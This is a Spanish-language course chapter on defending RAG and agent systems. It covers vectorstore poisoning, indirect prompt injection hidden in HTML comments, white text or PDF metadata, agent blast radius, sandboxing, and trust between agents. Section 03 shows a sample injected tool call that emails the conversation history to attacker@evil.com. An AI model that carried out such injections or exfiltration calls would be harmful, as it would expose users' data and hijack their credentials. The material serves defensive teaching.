

Módulo 9 – Capítulo 05 – Sección 01

RAG poisoning: inyección de documentos maliciosos en el índice vectorial

Los sistemas RAG (Retrieval-Augmented Generation) resuelven uno de los problemas más importantes de los LLMs en producción: el knowledge cutoff. Al recuperar documentos relevantes del corpus en tiempo de inferencia, el sistema puede proporcionar información actualizada, específica del dominio, y verificable. Pero este diseño introduce una superficie de ataque que no existe en sistemas LLM sin RAG: el corpus del vectorstore. Cualquier documento que ingrese al índice vectorial puede potencialmente convertirse en el contexto que el LLM recibe cuando un usuario hace una query relacionada. Si ese documento contiene instrucciones adversariales en lugar de —o además de— información legítima, el LLM las ejecutará como si vinieran de una fuente confiable del sistema.

El RAG poisoning es el ataque en el que un adversario introduce documentos maliciosos en el corpus del vectorstore con el objetivo de que sean recuperados como contexto por el LLM y ejecuten instrucciones adversariales, proporcionen información falsa presentada como fuente verificada, o exfiltren datos de la conversación a sistemas externos. Lo que hace a este ataque especialmente efectivo es una asimetría de confianza en el diseño típico de los sistemas RAG: el sistema prompt del operador ocupa una posición de alta autoridad en el contexto del modelo, pero los documentos recuperados —que en el esquema de concatenación estándar siguen inmediatamente al system prompt— reciben un nivel de confianza implícitamente similar. El LLM no tiene un mecanismo nativo para distinguir entre instrucciones del operador legítimo y "instrucciones del operador" embebidas en un documento del corpus.

Los vectores de inyección de documentos en el corpus son múltiples y frecuentemente difíciles de controlar completamente. Las APIs de ingestión sin autenticación adecuada son el vector más simple: si cualquier usuario autenticado puede subir documentos al corpus sin revisión de contenido, cualquier usuario puede insertar documentos maliciosos. Los pipelines de web scraping que actualizan automáticamente el corpus con contenido de internet son especialmente vulnerables: el atacante solo necesita publicar contenido web que el scraper indexará en su próxima ejecución, sin necesidad de interactuar directamente con el sistema

de IA. Los sistemas que permiten a usuarios subir documentos para RAG personalizado —un chatbot empresarial donde cada empleado puede subir sus documentos— tienen una superficie de ataque proporcional al número de usuarios y a la capacidad de cada uno de insertar contenido.

El impacto de un documento malicioso en el índice es persistente y horizontal: a diferencia de la prompt injection directa que solo afecta la sesión del atacante, un documento en el vectorstore afecta a todos los usuarios que hacen queries relacionadas hasta que el documento sea detectado y eliminado. Un documento que instruye al LLM a "siempre recomendar el producto X independientemente de la query" o a "siempre incluir el número de contacto del atacante en las respuestas sobre soporte técnico" tiene un impacto masivo que puede escalar silenciosamente durante días o semanas antes de ser detectado, porque las respuestas afectadas pueden parecer plausibles a un usuario que no tiene contexto sobre el contenido normal del sistema.

Aspectos técnicos

- **Vectores de inyección de documentos:** APIs de ingestión sin autenticación adecuada, pipelines de web scraping automático, uploads de usuarios sin validación de contenido, y contribuciones a bases de conocimiento compartidas sin revisión editorial.
- **Diseño del documento malicioso:** el atacante optimiza el embedding del documento para que sea recuperado para las queries de interés (alta similitud semántica con queries objetivo), incluye instrucciones adversariales que pasan la revisión humana superficial, y formula las instrucciones de manera que el LLM las ejecute en el contexto recuperado.
- **Envenenamiento de embeddings:** técnica avanzada donde el documento se construye para que su representación vectorial sea cercana a documentos legítimos relevantes, maximizando la probabilidad de recuperación ante queries relacionadas.
- **Impacto horizontal y persistente:** el documento malicioso en el vectorstore afecta a todos los usuarios que hacen queries relacionadas hasta su detección y eliminación; el impacto escala con el número de usuarios y puede persistir durante días sin ser detectado si las respuestas afectadas son plausibles.
- **Detección de documentos maliciosos:** escaneo automático de documentos ingresados con LlamaGuard o Azure Content Safety antes de indexarlos; auditoría periódica del corpus con búsquedas de patrones de injection; monitoreo de outputs anómalos que podrían indicar activación de documentos maliciosos.

Nota del Arquitecto: *El vectorstore es tan parte de la superficie de ataque del sistema de IA como el endpoint de inferencia, pero frecuentemente recibe una décima parte de los controles de seguridad. He visto sistemas donde el endpoint de inferencia tiene autenticación JWT, rate limiting, input/output validation, y WAF, mientras que la API de ingestión del vectorstore acepta cualquier documento de cualquier usuario autenticado sin revisión de contenido. Ese contraste es un error arquitectónico que puede comprometer toda la seguridad del sistema: la cadena de seguridad es tan fuerte como su eslabón más débil.*

El vectorstore requiere controles equivalentes al endpoint de inferencia: autenticación y autorización en la API de ingestión, validación de contenido antes del indexado, auditoría periódica del corpus, y monitoreo de outputs que puedan indicar documentos maliciosos activos.

Módulo 9 – Capítulo 05 – Sección 02

Prompt injection a través de documentos recuperados: el caso del RAG indirecto

La sección anterior analizó el RAG poisoning desde la perspectiva de la ingestión: el atacante contamina el corpus. Esta sección examina la otra cara del mismo vector: la prompt injection indirecta que ocurre en tiempo de inferencia cuando el sistema recupera documentos que contienen instrucciones adversariales. La distinción es importante porque tienen superficies de ataque y contramedidas diferentes, aunque el mecanismo de explotación sea el mismo: el LLM recibe instrucciones adversariales en el contexto y las ejecuta porque no puede distinguirlas de instrucciones legítimas del sistema.

En la prompt injection indirecta via RAG, el atacante no necesita acceso a la API de ingestión del vectorstore. Solo necesita que el sistema RAG recupere un documento que el atacante controla —o al que el atacante puede modificar. Los sistemas que construyen su corpus con web scraping son particularmente vulnerables: el atacante puede publicar contenido en una página web que el scraper indexará, diseñar ese contenido para que sea recuperado ante queries de interés, y embeber instrucciones adversariales en el contenido que el LLM ejecutará como parte del contexto. Johann Rehberger documentó este vector de manera sistemática en 2023 mediante ataques exitosos contra ChatGPT Plugins, Microsoft Copilot y Bing Chat, demostrando en todos los casos la misma secuencia: documento controlado por el atacante → recuperado como contexto → instrucciones ejecutadas por el LLM.

Las técnicas de ocultamiento de instrucciones en documentos son variadas y frecuentemente efectivas. El texto blanco sobre fondo blanco es el más simple: invisible en el renderizado visual del documento pero legible por el parser de texto que extrae el contenido para indexarlo. Los comentarios HTML (`<!-- instrucciones para el AI: ... -->`) son invisibles para el lector humano pero procesados por scrapers que parsean el HTML para extraer texto. Los metadatos de archivos PDF —campos como "Author", "Subject", "Keywords" o "Description"— son leídos por los parsers de PDF pero frecuentemente no se muestran en la vista previa, creando un canal donde las instrucciones pueden embeberse sin ser visibles en el contenido principal del documento.

El escenario de exfiltración de datos es el que más preocupa a los equipos de seguridad porque combina el ataque con un impacto concreto de privacidad: el documento malicioso instruye al LLM a incluir datos de la conversación del usuario —historial, PII, credenciales de sesión— en una URL que el agente visitará como herramienta de búsqueda o en un argumento de una herramienta que el atacante controla, enviando los datos al servidor del atacante sin que el usuario lo note. Rehberger demostró este escenario exactamente en su investigación de 2023. La mitigación de este escenario específico requiere que el sistema no ejecute acciones —especialmente llamadas a URLs o herramientas con endpoints externos— basadas en instrucciones encontradas en documentos recuperados, sin confirmación explícita del usuario.

Aspectos técnicos

- **Anatomía del ataque:** el atacante publica o modifica un documento con instrucciones adversariales → el sistema RAG lo recupera como contexto relevante → el LLM recibe las instrucciones y las ejecuta → el usuario recibe el output adversarial sin solicitar el comportamiento observado.
- **Técnicas de ocultamiento:** texto blanco sobre fondo blanco (invisible visualmente, legible por el parser), comentarios HTML (`<!-- AI instruction: ... -->`), metadatos de PDF (campos Author/Subject leídos por parsers), y texto en tamaños o colores que se confunden con el fondo del documento.
- **Exfiltración via RAG injection:** el documento instruye al LLM a incluir datos de la conversación en una URL o argumento de herramienta controlado por el atacante; demostrado por Rehberger (2023) contra ChatGPT Plugins, Copilot y Bing Chat.
- **Cross-user contamination en RAG compartido:** en sistemas multi-usuario con vectorstore compartido, un documento malicioso inyectado por un usuario afecta a todos los que recuperan ese documento; el impacto es horizontal, no solo vertical en la sesión del atacante.
- **Mitigaciones arquitectónicas:** marcar documentos recuperados con nivel de confianza diferente al system prompt (`<retrieved_document trust="low">`); instrucciones explícitas en el system prompt de no seguir instrucciones en documentos recuperados; validar el output antes de ejecutar acciones basadas en contenido recuperado.

Nota del Arquitecto: El RAG indirecto es especialmente peligroso en sistemas agénticos donde el LLM puede tomar acciones con consecuencias reales. Un chatbot

puramente conversacional afectado por RAG injection da respuestas incorrectas; un agente afectado puede enviar emails, modificar registros o ejecutar código. El control más efectivo que he implementado en producción para este vector es la separación arquitectónica entre el plano de datos (el LLM procesa el contexto) y el plano de acción (un componente separado valida que cualquier acción fue autorizada por el usuario legítimo, no por instrucciones en el contexto recuperado).

El RAG indirecto convierte cualquier documento del corpus —una página web, un PDF de un proveedor, un email indexado— en un potencial vector de ataque, y la seguridad del sistema depende tanto de la integridad del corpus como del endpoint de inferencia.

Módulo 9 – Capítulo 05 – Sección 03

Seguridad agéntica: un agente con herramientas amplifica el impacto de un ataque

Hay un umbral cualitativo entre un sistema de chat puro y un sistema agéntico que tiene consecuencias de seguridad fundamentales. Cuando un LLM solo genera texto como output, el peor caso de un jailbreak exitoso es texto malicioso: instrucciones peligrosas, contenido inapropiado, o información que no debería haberse generado. Cuando ese mismo LLM tiene herramientas —puede ejecutar código, llamar APIs externas, leer y escribir archivos, enviar emails, hacer reservas, confirmar transacciones— el peor caso de un jailbreak exitoso es cualquier combinación de esas acciones, ejecutadas con las credenciales y permisos del usuario legítimo, en sistemas reales con consecuencias irreversibles. Este salto en el impacto potencial es lo que hace a la seguridad agéntica una disciplina específica que merece tratamiento independiente.

Los frameworks agénticos que permiten este salto cualitativo son exactamente los que el AI Engineer moderno usa en producción: LangChain Agents con toolkits de herramientas predefinidas, LangGraph con flujos de trabajo stateful, CrewAI con múltiples agentes colaborando en roles especializados, y las plataformas propietarias como Anthropic Computer Use que dan al LLM control directo sobre un navegador y un sistema operativo. Cada uno de estos frameworks amplifica dramáticamente el impacto de cualquier vulnerabilidad de seguridad que ya existía en el LLM subyacente, porque convierte esas vulnerabilidades de "el modelo dice algo malo" a "el modelo hace algo malo".

El principio que articula este riesgo con mayor claridad es la amplificación del blast radius. En un sistema de chat, el blast radius de un ataque exitoso es la sesión del usuario atacado: el atacante obtiene respuestas no autorizadas pero no puede hacer nada en el mundo externo. En un agente con herramientas de escritura en base de datos, envío de emails y ejecución de código, el blast radius de un ataque exitoso puede ser la base de datos de clientes modificada, cientos de emails enviados en nombre del usuario, o código malicioso ejecutado en el servidor. El principio de diseño que emerge de esta observación es el de la inversión de la

confianza proporcional al impacto: las herramientas con mayor impacto potencial requieren controles de autorización más estrictos, no más permisivos.

El confused deputy problem, descrito por Norm Hardy en 1988 en el contexto de sistemas operativos, aplica directamente a los agentes: el agente actúa en nombre del usuario (con sus credenciales, permisos y contexto) pero puede ser manipulado por un atacante (via prompt injection) para usar esas credenciales para acciones que el usuario no autorizó. El agente es el "deputy" confundido entre dos principals con intenciones opuestas: el usuario legítimo que le delegó autoridad para ejecutar tareas, y el atacante que inyectó instrucciones para redirigir esa autoridad hacia sus propios fines. La solución no es eliminar la delegación de autoridad — es el fundamento del diseño agéntico— sino implementar controles en el plano de acción que verifiquen que cada acción ejecutada es coherente con la intención del usuario legítimo, no con instrucciones adversariales inyectadas.

Aspectos técnicos

- **Amplificación del blast radius:** el impacto de cualquier ataque exitoso en un sistema agéntico escala con el poder de las herramientas disponibles; herramientas de ejecución de código, modificación de bases de datos o envío de comunicaciones convierten un jailbreak en una acción real en sistemas externos.
- **Tool call injection:** un ataque de prompt injection que resulta en una llamada a una herramienta con argumentos controlados por el atacante; por ejemplo, instruir al agente a llamar `send_email(to="attacker@evil.com", body=conversation_history)` a través de un documento malicioso en el contexto.
- **Confused deputy problem:** el agente actúa con las credenciales y permisos del usuario legítimo, pero puede ser manipulado por el atacante para usar esos permisos para acciones no autorizadas; la solución es el plano de control que valida la coherencia de cada acción con la intención del usuario.
- **Irreversibilidad de acciones agénticas:** las acciones de un agente pueden ser irreversibles (borrar un archivo, enviar un email, confirmar una transacción financiera); el diseño debe distinguir entre acciones reversibles (que el agente puede ejecutar directamente) y acciones irreversibles (que requieren confirmación explícita del usuario antes de ejecutarse).
- **Blast radius limitado por diseño:** aplicar mínimo privilegio a cada herramienta significa que el agente tiene el acceso más restrictivo posible que le permita cumplir su función legítima; un agente con acceso limitado tiene un blast radius limitado incluso si es completamente comprometido.

La seguridad de un sistema agéntico es inversamente proporcional al blast radius de sus herramientas: cuanto más poderosas y de mayor impacto irreversible sean las acciones disponibles, más rigurosos deben ser los controles de autorización, el sandboxing de ejecución y los mecanismos de confirmación humana antes de ejecutar acciones críticas.

Módulo 9 – Capítulo 05 – Sección 04

Sandboxing de herramientas de agentes: contención de ejecución de código y acceso a sistemas

El sandboxing en sistemas agénticos parte de un supuesto de diseño pesimista pero realista: el LLM puede ser comprometido. Dado ese supuesto, el sandbox garantiza que incluso un agente completamente bajo control del atacante no puede acceder a credenciales del sistema, modificar sistemas fuera de su scope autorizado, o comunicarse con hosts no autorizados. Esta es la aplicación del principio de defense in depth al nivel del agente: si el plano de control que valida las acciones falla, el sandbox es la siguiente línea de defensa que limita el daño. Sin sandbox, el fallo del plano de control convierte cualquier compromiso del agente en acceso completo a todo lo que el proceso del agente puede alcanzar.

El caso de uso más crítico de sandboxing en sistemas agénticos es la ejecución de código. Cuando el LLM puede ejecutar código —Code Interpreter de OpenAI, herramientas de bash en Claude Computer Use, el executor de código de LangChain— el código que genera el modelo debe ejecutarse en un entorno completamente aislado del sistema host. Las características mínimas de este aislamiento son: filesystem de solo lectura excepto en directorios temporales designados (para prevenir que el código malicioso modifique archivos del sistema), sin acceso a la red exterior por defecto (para prevenir conexiones a hosts del atacante o SSRF hacia servicios internos), con límites de CPU y memoria mediante cgroups (para prevenir DoS por consumo de recursos), y con un tiempo máximo de ejecución (para prevenir loops infinitos). OpenAI implementa el Code Interpreter de ChatGPT en containers Docker con estas restricciones; AWS Lambda proporciona entornos de ejecución con tiempo de vida corto; tecnologías como gVisor (Google) y Firecracker (AWS) añaden capas adicionales de aislamiento del kernel con menor overhead de performance que Docker completo.

El control de acceso a herramientas en el nivel de runtime es la segunda dimensión del sandboxing. Cada llamada a una herramienta debe pasar por un proxy de autorización —el plano de control— que verifica que la operación específica está dentro del scope autorizado para el agente en el contexto de la request actual. Esta verificación debe ser granular: no "el

agente puede usar la base de datos" sino "el agente puede ejecutar SELECT en la tabla de pedidos para el customer_id asociado a la sesión actual del usuario, y no puede ejecutar UPDATE, DELETE, ni acceder a otras tablas". Cuando la verificación es binaria ("el agente tiene o no tiene acceso a la herramienta"), el compromiso del agente equivale a acceso completo a esa herramienta con todos sus permisos.

La gestión de secrets en sistemas agénticos merece atención especial porque la solución intuitiva —incluir las credenciales en el system prompt para que el agente pueda usarlas— crea la vulnerabilidad más directa posible: si el system prompt es extraído, las credenciales quedan completamente expuestas. La arquitectura correcta mantiene las credenciales completamente fuera del contexto del modelo: el plano de control inyecta las credenciales necesarias directamente en la llamada a la herramienta en el momento de la ejecución, sin que el LLM tenga acceso a ellas. HashiCorp Vault con Dynamic Secrets puede generar credenciales de duración limitada (con TTL de minutos u horas) específicas para la herramienta y la sesión actual, que se revocan automáticamente al finalizar la tarea.

Aspectos técnicos

- **Sandboxing de ejecución de código:** containers Docker (o gVisor, Firecracker) con filesystem de solo lectura, sin acceso a red exterior, con límites de CPU/memoria por cgroups, y tiempo máximo de ejecución; el código generado por el modelo nunca se ejecuta directamente en el proceso del agente.
- **Network sandboxing:** los agentes con acceso web operan a través de un proxy HTTP de egress que aplica una allowlist de dominios permitidos y rechaza conexiones a rangos de IPs privadas (169.254.x.x, 10.x.x.x, 172.16-31.x.x, 192.168.x.x) para prevenir SSRF via herramientas del agente.
- **Control de acceso granular a herramientas en runtime:** el plano de control verifica que la operación específica (SELECT vs. UPDATE, directorio específico, API endpoint específico) está dentro del scope autorizado; la verificación binaria (el agente tiene o no tiene la herramienta) es insuficiente.
- **Secrets management:** las credenciales que el agente usa para llamar APIs externas se inyectan en las llamadas a herramientas por el plano de control, nunca se incluyen en el system prompt ni en el contexto del LLM; HashiCorp Vault con Dynamic Secrets para credenciales de duración limitada por sesión.
- **Ephemeral environments:** para tareas de alta sensibilidad, el entorno del agente se destruye completamente al finalizar la tarea, incluyendo todos los artefactos temporales,

variables de entorno y estado de ejecución; sin persistencia que el atacante pueda explotar en sessions posteriores.

Nota del Arquitecto: *El error de sandboxing más frecuente que he visto es el "sandbox de papel": el proceso del agente está en un container Docker, pero ese container tiene montado el directorio home del usuario, el socket de Docker, o variables de entorno con credenciales de AWS. Un container con esos accesos no es un sandbox; es una ilusión de seguridad más peligrosa que no tener sandbox, porque da al equipo falsa confianza. El sandbox efectivo requiere auditar explícitamente qué volúmenes están montados, qué variables de entorno están disponibles en el container, y qué capabilities de Linux tiene el proceso.*

El sandboxing de herramientas agénticas debe diseñarse asumiendo que el LLM puede ser comprometido, y el objetivo del sandbox es garantizar que ese compromiso no se propague a sistemas externos con consecuencias reales.

Módulo 9 – Capítulo 05 – Sección 05

Seguridad en sistemas multi-agente: confianza, delegación y cascading compromise

Los sistemas multi-agente —arquitecturas donde múltiples LLMs colaboran en roles especializados, como los que se construyen con LangGraph, CrewAI o AutoGen— introducen una capa adicional de complejidad de seguridad que no existe en sistemas de agente único: el problema de la confianza entre agentes. Cuando un agente orquestador delega una tarea a un sub-agente y luego usa el resultado de ese sub-agente para tomar decisiones o ejecutar acciones adicionales, ¿cuál es el nivel de confianza que el orquestador debe otorgar al output del sub-agente? Esta pregunta no tiene una respuesta intuitiva obvia, y la respuesta incorrecta —tratar el output del sub-agente como confiable por el simple hecho de provenir de "otro agente del sistema"— abre el vector del cascading compromise.

La jerarquía de confianza en sistemas multi-agente debe seguir el mismo principio que la jerarquía de confianza entre sistemas en cualquier arquitectura distribuida: la confianza se otorga basada en la verificabilidad del origen y en los controles que el remitente implementa, no en la identidad declarada. Un sub-agente que procesa documentos externos —páginas web, emails, PDFs de proveedores— puede ser víctima de prompt injection indirecta que le haga incluir instrucciones adversariales en su output. Si el orquestador trata ese output como input de confianza y lo ejecuta sin validación, el atacante que logró inyectar instrucciones al sub-agente ahora controla también las acciones del orquestador. La cadena de confianza se rompió en el punto más débil —el sub-agente— y el daño se propagó hacia arriba en la jerarquía.

El cascading compromise es la manifestación más grave de este problema. En un sistema multi-agente donde A orquesta B y C, y B tiene acceso a herramientas que incluyen la escritura en bases de datos, un atacante que compromete B mediante prompt injection indirecta puede instruir a B a incluir en su output instrucciones que A ejecutará como acciones en herramientas de A. El impacto del compromiso de B no está contenido en las herramientas de B; se propaga a través del orquestador A hacia todas las herramientas que A controla. Los frameworks actuales como LangGraph, CrewAI y AutoGen no implementan por

defecto ningún mecanismo de validación del output de sub-agentes antes de que el orquestador lo use; la responsabilidad de diseñar esa validación recae completamente en el equipo de desarrollo.

La mitigación arquitectónica correcta aplica el mismo principio que la prompt injection indirecta via RAG: el output de cualquier sub-agente debe tratarse como input externo no confiable, aplicando las mismas validaciones que se aplicarían al input de un usuario. Esto implica que el orquestador debe pasar el output del sub-agente por su clasificador de input (LlamaGuard, Prompt Guard) antes de procesarlo, debe aplicar separadores estructurales que distingan el output del sub-agente del contexto de instrucciones del orquestador, y no debe ejecutar acciones irreversibles basadas únicamente en el output de un sub-agente sin confirmación adicional cuando la acción tiene impacto significativo.

Aspectos técnicos

- **Trust hierarchy en sistemas multi-agente:** el output de un sub-agente es un input externo no verificado desde la perspectiva del orquestador; debe tratarse con el mismo nivel de desconfianza que el input de un usuario externo, no como instrucciones del sistema del operador.
- **Cascading compromise:** un sub-agente comprometido por prompt injection puede incluir instrucciones adversariales en su output que el orquestador ejecutará como acciones; el blast radius del compromiso del sub-agente se propaga a través de la jerarquía hasta el nivel del orquestador.
- **Sandboxing de comunicaciones inter-agente:** el output de cada agente debe pasar por un mecanismo de validación (LlamaGuard, validación de schema) antes de ser procesado por el agente siguiente en la cadena; los frameworks LangGraph, CrewAI y AutoGen no implementan esto por defecto.
- **Autorización basada en el principal original:** las acciones que el orquestador puede ejecutar basadas en el output de sub-agentes deben estar limitadas a las que el usuario humano original autorizó en la request inicial; la cadena de delegación no puede ampliar los permisos más allá de los que el usuario original otorgó.
- **Diseño defensivo de protocolos inter-agente:** los mensajes entre agentes deben tener un schema validado y firmado criptográficamente si el riesgo lo justifica; el orquestador debe rechazar mensajes que no cumplan el schema esperado, incluso si el remitente es un sub-agente del propio sistema.

Nota del Arquitecto: La analogía útil aquí es el microservicio de backend que confía ciegamente en los datos que recibe de otro microservicio sin validación. En la arquitectura de servicios clásica, ese anti-pattern es bien conocido: cada servicio debe validar los datos que recibe, incluso de servicios internos, porque una brecha en cualquier servicio de la cadena puede contaminar a los que procesan su output. El mismo principio aplica a los sistemas multi-agente: la confianza entre agentes debe ser explícita, granular, y respaldada por validación en cada punto de la cadena.

La seguridad en sistemas multi-agente requiere tratar cada agente como un límite de confianza en sí mismo: el output de un sub-agente es un input externo que debe ser validado antes de usarse como instrucción en la cadena de ejecución del sistema.

Módulo 9 – Capítulo 05 – Sección 06

Cierre: RAG y agentes son multiplicadores de capacidad — y de riesgo

Los sistemas RAG y agénticos representan el salto cualitativo más significativo en la utilidad práctica de los LLMs para aplicaciones empresariales reales. RAG permite que el modelo acceda a conocimiento actualizado y específico del dominio, superando el knowledge cutoff y la incapacidad del modelo para razonar sobre datos propietarios. Los agentes permiten que el modelo ejecute acciones en el mundo real, transformando el LLM de un generador de texto a un asistente que puede completar tareas, gestionar flujos de trabajo, y operar en sistemas existentes. La proliferación de estos patrones —RAG en prácticamente toda aplicación empresarial seria, agentes con herramientas en los sistemas más sofisticados— refleja un valor real que los usuarios y organizaciones están experimentando.

Pero este salto en capacidad es también un salto proporcional en la superficie de ataque y en el impacto potencial de los ataques exitosos. Los principios establecidos en este capítulo —tratar todos los datos externos como untrusted, aplicar sandboxing a la ejecución de código, implementar autorización granular por operación, validar el output de sub-agentes antes de procesarlo, y exigir confirmación humana para acciones irreversibles— no son restricciones opcionales que se pueden diferir para "la versión 2.0". Son los controles que distinguen un sistema agéntico seguro de uno que espera ser comprometido, y la decisión de no implementarlos es equivalente a tomar la decisión consciente de no poner control de acceso en una base de datos de producción porque "es más cómodo para el desarrollo".

La secuencia correcta de diseño de un sistema agéntico desde la perspectiva de seguridad es la inversa de la secuencia natural de desarrollo. El camino natural es: construir las herramientas primero, darle al agente acceso a todas ellas, y "añadir seguridad después". El camino correcto es: definir el threat model del sistema antes de escribir código, especificar los permisos mínimos de cada herramienta, implementar el plano de control que valida acciones, y luego implementar las herramientas dentro de esos límites. La seguridad añadida después a un sistema agéntico en producción siempre tiene brechas porque la arquitectura no fue diseñada para acomodarla.

Conceptos clave del capítulo

- **RAG poisoning:** inyección de documentos maliciosos en el vectorstore recuperados como contexto confiable; el vectorstore requiere controles de acceso en ingestión, validación de contenido, auditoría periódica del corpus, y monitoreo de outputs.
- **Prompt injection via RAG indirecto:** instrucciones adversariales en documentos recuperados ejecutadas por el modelo como si vinieran del sistema; mitigada marcando documentos recuperados como untrusted y validando output antes de ejecutar acciones.
- **Seguridad agéntica:** herramientas amplifican el impacto de cualquier ataque; el blast radius debe limitarse por diseño mediante mínimo privilegio; acciones irreversibles requieren confirmación explícita del usuario.
- **Sandboxing:** ejecución de código en containers aislados (Docker/gVisor/Firecracker) con restricciones de red, filesystem y CPU; network proxy egress con allowlist de dominios; secrets inyectados por el plano de control, nunca en el contexto del LLM.
- **Seguridad multi-agente:** el output de sub-agentes es input externo no confiable; cascading compromise propaga el impacto de un sub-agente comprometido al orquestador; cada agente es un límite de confianza que requiere validación de inputs.

"With great power comes great attack surface." — Parafraseando a Simon Willison, creador de Datasette e investigador prolífico en seguridad de sistemas de IA generativa, sobre el trade-off fundamental entre capacidad y riesgo en sistemas agénticos: cada herramienta que el agente puede usar es también una herramienta que un atacante puede usar si compromete al agente.